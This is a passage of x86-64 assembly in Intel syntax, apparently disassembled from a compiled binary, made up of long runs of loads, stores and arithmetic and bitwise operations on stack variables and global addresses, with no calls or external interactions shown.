movzx eax, word [rax]
mov word [rsp + 0x1000], ax
mov rax, qword [rsp + 0x7ea0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x56e0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x16d], al
mov rax, qword [rsp + 0x5698]
mov ecx, dword [rsp + 0x2f78]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2ea0], eax
mov rax, qword [rsp + 0x50f0]
mov rax, qword [rax]
mov qword [rsp + 0x8a60], rax
mov eax, dword [rsp + 0x319c]
movzx ecx, al
mov eax, dword [rsp + 0x2980]
shl eax, cl
mov dword [rsp + 0x2df0], eax
lea rax, [rsp + 0x77b8]
mov qword [rsp + 0x8a68], rax
movzx eax, word [rsp + 0xc74]
movzx ecx, word [rsp + 0xe84]
sub eax, ecx
mov word [0x1401130b8], ax
mov rax, qword [rsp + 0x52a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x117]
add eax, ecx
mov rcx, qword [rsp + 0x8970]
mov byte [rcx], al
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
mov word [rsp + 0x1004], ax
movzx eax, byte [rsp + 0x14d]
movzx ecx, byte [rsp + 0x10d]
and eax, ecx
mov rcx, qword [rsp + 0x51e0]
mov byte [rcx], al
mov rax, qword [0x140114748]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdd]
sub eax, ecx
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0x5b40]
mov qword [rsp + 0x8a70], rax
mov rax, qword [rsp + 0x7038]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b40]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8188]
mov eax, dword [rax]
mov dword [rsp + 0x3238], eax
mov rax, qword [rsp + 0x4f38]
mov rcx, qword [rsp + 0x60f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8658], rax
mov rax, qword [rsp + 0x4f40]
movsx eax, byte [rax]
movsx ecx, byte [0x140113066]
add eax, ecx
mov rcx, qword [0x140114520]
mov byte [rcx], al
mov rax, qword [rsp + 0x5e20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x928]
sub eax, ecx
mov rcx, qword [rsp + 0x7cf8]
mov word [rcx], ax
movzx eax, word [rsp + 0xeec]
mov word [rsp + 0x1008], ax
mov rax, qword [rsp + 0x8778]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7c78]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8870]
mov byte [rcx], al
lea rax, [rsp + 0xfa4]
mov qword [rsp + 0x8a78], rax
mov rax, qword [rsp + 0x6208]
mov ecx, dword [rsp + 0x2f9c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x70f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7ae0]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7230], rax
mov rax, qword [rsp + 0x5128]
mov rax, qword [rax]
mov qword [rsp + 0x8a80], rax
mov rax, qword [rsp + 0x6600]
mov ecx, dword [rsp + 0x2ffc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5428]
mov dword [rcx], eax
lea rax, [rsp + 0xd9]
mov qword [0x1401149a8], rax
lea rax, [0x1401130b2]
mov qword [rsp + 0x8a88], rax
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x6708]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x53f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x87b0]
movzx eax, byte [rax]
movzx ecx, byte [0x140114156]
shl eax, cl
mov byte [rsp + 0xfb], al
movzx eax, word [rsp + 0x8a8]
mov word [rsp + 0x100c], ax
mov rax, qword [rsp + 0x7820]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fd8]
mov qword [rsp + 0x8a90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8a90]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6908]
mov rax, qword [rax]
mov qword [rsp + 0x8a98], rax
mov eax, dword [rsp + 0x2b20]
mov ecx, dword [rsp + 0x31b8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7280]
mov dword [rcx], eax
lea rax, [rsp + 0x2b28]
mov qword [rsp + 0x8aa0], rax
mov rax, qword [rsp + 0x7240]
movzx eax, word [rax]
mov word [0x1401149b0], ax
movsx eax, word [rsp + 0xb04]
movsx ecx, word [0x1401130f8]
sub eax, ecx
mov word [rsp + 0xfe4], ax
mov rax, qword [rsp + 0x5e70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x80c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8858]
mov word [rcx], ax
mov rax, qword [rsp + 0x7e90]
movzx eax, byte [rax]
mov byte [rsp + 0x1f0], al
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0x111]
and eax, ecx
mov rcx, qword [rsp + 0x5878]
mov byte [rcx], al
lea rax, [rsp + 0x2ba8]
mov qword [rsp + 0x8aa8], rax
mov rax, qword [rsp + 0x5ff0]
mov rcx, qword [rsp + 0x6638]
imul rcx, qword [rax]
mov rax, rcx
mov rcx, qword [rsp + 0x5d78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5ac0]
mov rcx, qword [rsp + 0x4db8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5d58]
mov qword [rcx], rax
lea rax, [rsp + 0x2c28]
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x5530]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd98]
sub eax, ecx
mov rcx, qword [rsp + 0x81c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1d9]
mov rcx, qword [rsp + 0x69b0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140114878]
mov byte [rcx], al
lea rax, [rsp + 0xd4]
mov qword [rsp + 0x8ab8], rax
mov rax, qword [rsp + 0x5630]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9f8]
add eax, ecx
mov word [rsp + 0xddc], ax
movzx eax, word [0x1401143e8]
movzx ecx, word [rsp + 0x8ac]
sub eax, ecx
mov word [rsp + 0xf98], ax
lea rax, [rsp + 0x85b0]
mov qword [rsp + 0x8ac0], rax
mov eax, dword [rsp + 0x3174]
mov ecx, dword [rsp + 0x2c3c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8a28]
mov dword [rcx], eax
lea rax, [rsp + 0x3058]
mov qword [rsp + 0x8ac8], rax
mov rax, qword [rsp + 0x5370]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7800]
shl rax, cl
mov rcx, qword [rsp + 0x64d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb40]
sar eax, cl
mov rcx, qword [rsp + 0x4e38]
mov word [rcx], ax
movzx eax, byte [0x14011304f]
movzx ecx, byte [rsp + 0x13e]
xor eax, ecx
mov rcx, qword [0x140114850]
mov byte [rcx], al
mov rax, qword [rsp + 0x6120]
movzx eax, word [rax]
mov word [rsp + 0x1010], ax
mov rax, qword [rsp + 0x5a80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x181]
and eax, ecx
mov byte [rsp + 0x65], al
lea rax, [rsp + 0xb9c]
mov qword [rsp + 0x8ad0], rax
mov eax, dword [rsp + 0x2b24]
mov ecx, dword [rsp + 0x3098]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7038]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5f70]
mov eax, dword [rax]
mov dword [rsp + 0x323c], eax
mov rax, qword [rsp + 0x5be8]
mov rcx, qword [rsp + 0x53c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7ab8], rax
mov rax, qword [rsp + 0x5d78]
mov rcx, qword [rsp + 0x7808]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5e68], rax
movzx eax, byte [rsp + 0x1e1]
mov byte [rsp + 0x1f1], al
movzx eax, word [0x140113134]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140113168], ax
mov rax, qword [rsp + 0x5e30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
and eax, ecx
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x86f0]
movzx eax, byte [rax]
mov byte [rsp + 0x1f2], al
movzx eax, byte [0x140114224]
mov rcx, qword [rsp + 0x52d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x6600]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b30]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5840]
mov dword [rcx], eax
mov rax, qword [0x140113008]
mov qword [rsp + 0x8ad8], rax
mov rax, qword [rsp + 0x54f8]
mov rcx, qword [rsp + 0x63e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6830], rax
lea rax, [rsp + 0x2f68]
mov qword [rsp + 0x8ae0], rax
mov rax, qword [rsp + 0x83f0]
movsx eax, byte [rax]
mov rcx, qword [0x1401143d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8318]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6f28]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14011316c], ax
movzx eax, byte [rsp + 0x14e]
movzx ecx, byte [rsp + 0x83]
xor eax, ecx
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x8a30]
movzx eax, word [rax]
mov word [rsp + 0x1014], ax
movsx eax, word [rsp + 0xf08]
movsx ecx, word [rsp + 0xb18]
sar eax, cl
mov word [rsp + 0xcac], ax
lea rax, [rsp + 0x33]
mov qword [rsp + 0x8ae8], rax
mov rax, qword [rsp + 0x6908]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4ba0]
shl rax, cl
mov qword [rsp + 0x69d8], rax
mov eax, dword [rsp + 0x2d44]
mov dword [rsp + 0x3240], eax
mov eax, dword [rsp + 0x30d0]
mov ecx, dword [rsp + 0x2cc8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5198]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7e48]
mov rcx, qword [rsp + 0x7948]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5448]
mov qword [rcx], rax
movzx eax, word [rsp + 0x900]
mov rcx, qword [rsp + 0x6708]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401130ec], ax
mov rax, qword [rsp + 0x6c68]
movzx eax, byte [rax]
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0x8798]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
add eax, ecx
mov word [rsp + 0xa54], ax
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x1f4], al
mov rax, qword [rsp + 0x8150]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8d4]
sub eax, ecx
mov rcx, qword [rsp + 0x6a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x7ca8]
mov rcx, qword [rsp + 0x5928]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8930]
mov qword [rcx], rax
lea rax, [rsp + 0x318c]
mov qword [rsp + 0x8af0], rax
mov rax, qword [rsp + 0x5770]
mov ecx, dword [rsp + 0x2db0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2e2c], eax
mov rax, qword [rsp + 0x6590]
mov rax, qword [rax]
mov qword [rsp + 0x8af8], rax
movzx eax, byte [rsp + 0x51]
mov byte [0x1401142b7], al
mov rax, qword [rsp + 0x58b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7758]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6138]
mov byte [rcx], al
mov rax, qword [0x140114638]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x94]
sub eax, ecx
mov byte [rsp + 0xd5], al
lea rax, [rsp + 0xb4c]
mov qword [rsp + 0x8b00], rax
movsx eax, word [rsp + 0x914]
mov rcx, qword [rsp + 0x5978]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8c8], ax
lea rax, [rsp + 0x2e0c]
mov qword [rsp + 0x8b08], rax
mov rax, qword [rsp + 0x7a48]
mov rcx, qword [rsp + 0x7868]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6ee0], rax
mov rax, qword [rsp + 0x8748]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8768]
shl rax, cl
mov qword [rsp + 0x56d8], rax
lea rax, [0x140114150]
mov qword [rsp + 0x8b10], rax
movsx eax, byte [rsp + 0x1e4]
movsx ecx, byte [rsp + 0xa3]
or eax, ecx
mov byte [0x14011309f], al
movsx eax, word [rsp + 0xc44]
mov rcx, qword [rsp + 0x58e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x928], ax
mov rax, qword [0x140114928]
movzx eax, word [rax]
mov word [rsp + 0x1018], ax
mov rax, qword [rsp + 0x5490]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x49]
and eax, ecx
mov rcx, qword [rsp + 0x6ed8]
mov byte [rcx], al
lea rax, [rsp + 0x8b8]
mov qword [rsp + 0x8b18], rax
mov rax, qword [rsp + 0x5e38]
mov rcx, qword [rsp + 0x6930]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7c88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7af8]
mov rcx, qword [rsp + 0x5430]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8910]
mov eax, dword [rax]
mov dword [rsp + 0x3244], eax
mov rax, qword [rsp + 0x8588]
mov ecx, dword [rsp + 0x2b90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x30c0], eax
mov rax, qword [rsp + 0x6458]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfe4]
add eax, ecx
mov word [0x140113170], ax
mov rax, qword [rsp + 0x5148]
movzx eax, word [rax]
mov word [rsp + 0x101c], ax
movzx eax, byte [0x140113007]
movzx ecx, byte [rsp + 0xec]
add eax, ecx
mov rcx, qword [rsp + 0x6b60]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1af]
movsx ecx, byte [rsp + 0x1eb]
sub eax, ecx
mov rcx, qword [rsp + 0x5868]
mov byte [rcx], al
movzx eax, byte [rsp + 0x75]
mov byte [rsp + 0x1f5], al
mov eax, dword [rsp + 0x2d30]
mov ecx, dword [rsp + 0x2fbc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
lea rax, [rsp + 0x2e20]
mov qword [rsp + 0x8b20], rax
mov rax, qword [rsp + 0x6248]
mov rcx, qword [rsp + 0x89e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7870]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6250]
mov rcx, qword [rsp + 0x6258]
mov qword [rsp + 0x8b28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x72b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x78a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
shl eax, cl
mov rcx, qword [0x140114668]
mov byte [rcx], al
mov rax, qword [0x1401147b0]
movzx eax, word [rax]
mov word [rsp + 0x1020], ax
movzx eax, word [rsp + 0xc7c]
movzx ecx, word [rsp + 0x9d8]
or eax, ecx
mov rcx, qword [rsp + 0x6a48]
mov word [rcx], ax
lea rax, [rsp + 0xc00]
mov qword [rsp + 0x8b30], rax
movzx eax, word [rsp + 0xaa4]
mov rcx, qword [0x140114988]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6f70]
mov word [rcx], ax
mov eax, dword [rsp + 0x2ae0]
mov dword [rsp + 0x3248], eax
mov rax, qword [rsp + 0x5c50]
mov rcx, qword [rsp + 0x5820]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f10], eax
mov rax, qword [rsp + 0x7790]
mov rcx, qword [rsp + 0x8020]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4f90]
mov qword [rcx], rax
lea rax, [rsp + 0x6e08]
mov qword [rsp + 0x8b38], rax
movsx eax, byte [rsp + 0xa4]
movsx ecx, byte [rsp + 0x10a]
sub eax, ecx
mov rcx, qword [0x140114920]
mov byte [rcx], al
movsx eax, word [rsp + 0xe64]
mov rcx, qword [0x1401145d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x69d0]
movzx eax, byte [rax]
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x82a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c0], al
mov rax, qword [0x140114710]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x61e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x85d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7398]
mov eax, dword [rax]
mov dword [rsp + 0x324c], eax
mov rax, qword [rsp + 0x53a0]
mov ecx, dword [rsp + 0x3134]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6ce8]
mov dword [rcx], eax
lea rax, [0x140113008]
mov qword [rsp + 0x8b40], rax
mov rax, qword [rsp + 0x6cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x81d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6240], rax
lea rax, [rsp + 0xa3c]
mov qword [0x1401149b8], rax
movsx eax, byte [rsp + 0x89]
mov rcx, qword [rsp + 0x5f20]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1cb], al
movzx eax, word [rsp + 0xae4]
mov word [rsp + 0x1024], ax
mov rax, qword [rsp + 0x5fc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50b8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x82e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5700]
movzx eax, byte [rax]
mov byte [rsp + 0x1f7], al
mov eax, dword [rsp + 0x2ef8]
movzx ecx, al
mov eax, dword [rsp + 0x2dfc]
shl eax, cl
mov rcx, qword [rsp + 0x4d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6038]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5960]
sar rax, cl
mov qword [rsp + 0x7e80], rax
mov eax, dword [rsp + 0x3124]
mov dword [rsp + 0x3250], eax
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x60f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x85c0], rax
mov rax, qword [rsp + 0x6628]
movzx eax, byte [rax]
mov byte [rsp + 0x1f8], al
movzx eax, word [rsp + 0xeb8]
movzx ecx, word [rsp + 0x888]
or eax, ecx
mov word [0x140113174], ax
movsx eax, byte [rsp + 0x1dd]
movsx ecx, byte [rsp + 0x1c1]
sub eax, ecx
mov rcx, qword [rsp + 0x6e88]
mov byte [rcx], al
movzx eax, word [rsp + 0xa94]
mov word [rsp + 0x1028], ax
movzx eax, word [rsp + 0x97c]
movzx ecx, word [0x140113098]
sub eax, ecx
mov rcx, qword [rsp + 0x7610]
mov word [rcx], ax
mov rax, qword [rsp + 0x8a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3120]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bb8], eax
lea rax, [rsp + 0x2f9c]
mov qword [rsp + 0x8b48], rax
mov rax, qword [rsp + 0x50f0]
movabs rcx, 0x7638b3b86d4e44
mov rax, qword [rax]
imul rax, rcx
mov qword [rsp + 0x6e28], rax
mov rax, qword [rsp + 0x53b8]
mov qword [rsp + 0x8b50], rax
movsx eax, byte [rsp + 0x1d1]
mov rcx, qword [rsp + 0x8330]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7b], al
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6de8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140113018], ax
mov rax, qword [rsp + 0x8208]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xad]
sub eax, ecx
mov byte [rsp + 0x54], al
lea rax, [rsp + 0x94]
mov qword [rsp + 0x8b58], rax
mov rax, qword [rsp + 0x51b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc84]
sub eax, ecx
mov word [rsp + 0xf70], ax
mov rax, qword [rsp + 0x57b8]
mov eax, dword [rax]
mov dword [rsp + 0x3254], eax
mov rax, qword [rsp + 0x66c0]
mov rcx, qword [rsp + 0x5b18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2fc4], eax
mov rax, qword [rsp + 0x5eb8]
mov rcx, qword [rsp + 0x7e50]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6470]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c60]
mov qword [rsp + 0x8b60], rax
movzx eax, word [rsp + 0xcfc]
movzx ecx, word [rsp + 0x91c]
add eax, ecx
mov rcx, qword [rsp + 0x72e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8118]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8488]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140114568]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ab0]
movzx eax, byte [rax]
mov byte [rsp + 0x1f9], al
mov rax, qword [rsp + 0x6408]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6058]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xca0], ax
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xff8]
xor eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f8]
mov qword [rsp + 0x8b68], rax
mov rax, qword [0x140114160]
movzx ecx, al
mov rax, qword [rsp + 0x75b8]
shl rax, cl
mov rcx, qword [rsp + 0x5180]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6068]
mov eax, dword [rax]
mov dword [rsp + 0x3258], eax
mov rax, qword [rsp + 0x5460]
mov ecx, dword [rsp + 0x2dac]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2f08], eax
mov rax, qword [rsp + 0x8208]
movzx eax, byte [rax]
mov byte [rsp + 0x1fa], al
movzx eax, word [0x140114230]
movzx ecx, word [rsp + 0xbd0]
and eax, ecx
mov word [0x140113178], ax
mov rax, qword [rsp + 0x7978]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x82c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c4], al
movsx eax, byte [rsp + 0x89]
movsx ecx, byte [0x1401130a7]
sub eax, ecx
mov byte [rsp + 0xbe], al
lea rax, [rsp + 0x88c]
mov qword [rsp + 0x8b70], rax
mov rax, qword [rsp + 0x7350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8850]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcf8], ax
mov rax, qword [rsp + 0x67e0]
mov qword [rsp + 0x8b78], rax
mov rax, qword [rsp + 0x69c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x80d0]
mov rcx, qword [rsp + 0x8428]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7290], rax
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov dword [rsp + 0x325c], eax
lea rax, [rsp + 0x158]
mov qword [0x1401149c0], rax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6e00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc64], ax
mov rax, qword [rsp + 0x6448]
movzx eax, byte [rax]
mov byte [rsp + 0x1fb], al
movzx eax, word [0x14011314c]
mov rcx, qword [rsp + 0x77c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x70c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x54d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7a58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d3], al
lea rax, [rsp + 0x2c6c]
mov qword [rsp + 0x8b80], rax
mov rax, qword [rsp + 0x6b50]
mov rcx, qword [rsp + 0x4c90]
mov qword [rsp + 0x8b88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8b88]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x89c8], rax
mov rax, qword [rsp + 0x8808]
mov rax, qword [rax]
mov qword [rsp + 0x8b90], rax
mov rax, qword [rsp + 0x6c00]
mov rcx, qword [rsp + 0x4fe8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2ea8], eax
mov rax, qword [0x1401141f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7978]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1401144a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6768]
movzx eax, byte [rax]
mov byte [rsp + 0x1fc], al
mov rax, qword [rsp + 0x4f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5980]
mov byte [rcx], al
mov rax, qword [rsp + 0x6458]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6928]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6f58]
mov word [rcx], ax
mov rax, qword [rsp + 0x5510]
movzx eax, word [rax]
mov word [rsp + 0x102c], ax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x6dd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6750], rax
mov rax, qword [rsp + 0x8628]
mov qword [rsp + 0x8b98], rax
mov rax, qword [rsp + 0x7c50]
mov rcx, qword [rsp + 0x72f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x31ac], eax
mov rax, qword [rsp + 0x5728]
mov rcx, qword [rsp + 0x8b10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x87a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x87f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5d48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113016], al
lea rax, [rsp + 0xc00]
mov qword [rsp + 0x8ba0], rax
mov rax, qword [rsp + 0x5b58]
movzx eax, word [rax]
movzx ecx, word [str.n_a54]
and eax, ecx
mov rcx, qword [rsp + 0x6530]
mov word [rcx], ax
lea rax, [rsp + 0x182]
mov qword [rsp + 0x8ba8], rax
movzx eax, word [rsp + 0xeb8]
movzx ecx, word [rsp + 0xca4]
sub eax, ecx
mov word [rsp + 0xfa4], ax
mov rax, qword [rsp + 0x5c90]
mov ecx, dword [rsp + 0x2fe8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d44], eax
lea rax, [rsp + 0x2f30]
mov qword [rsp + 0x8bb0], rax
mov rax, qword [rsp + 0x6840]
mov rcx, qword [rsp + 0x80d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x73e8], rax
lea rax, [rsp + 0x7ae8]
mov qword [rsp + 0x8bb8], rax
movzx eax, word [rsp + 0xc6c]
mov word [0x1401149c8], ax
mov rax, qword [rsp + 0x8710]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6468]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6438]
mov byte [rcx], al
mov rax, qword [rsp + 0x74f0]
movzx eax, word [rax]
movzx ecx, word [0x140113178]
sar eax, cl
mov word [rsp + 0xe1c], ax
movzx eax, byte [rsp + 0x1eb]
mov byte [rsp + 0x1fd], al
movsx eax, word [rsp + 0xf9c]
movsx ecx, word [rsp + 0xf40]
xor eax, ecx
mov rcx, qword [rsp + 0x5a10]
mov word [rcx], ax
mov rax, qword [rsp + 0x5df0]
mov rax, qword [rax]
mov qword [rsp + 0x8bc0], rax
mov rax, qword [rsp + 0x7660]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5500]
mov qword [rsp + 0x8bc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8bc8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2e98], eax
mov rax, qword [rsp + 0x5b08]
mov rax, qword [rax]
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x7f88]
mov ecx, dword [0x140114150]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2df8], eax
movzx eax, word [rsp + 0x9c8]
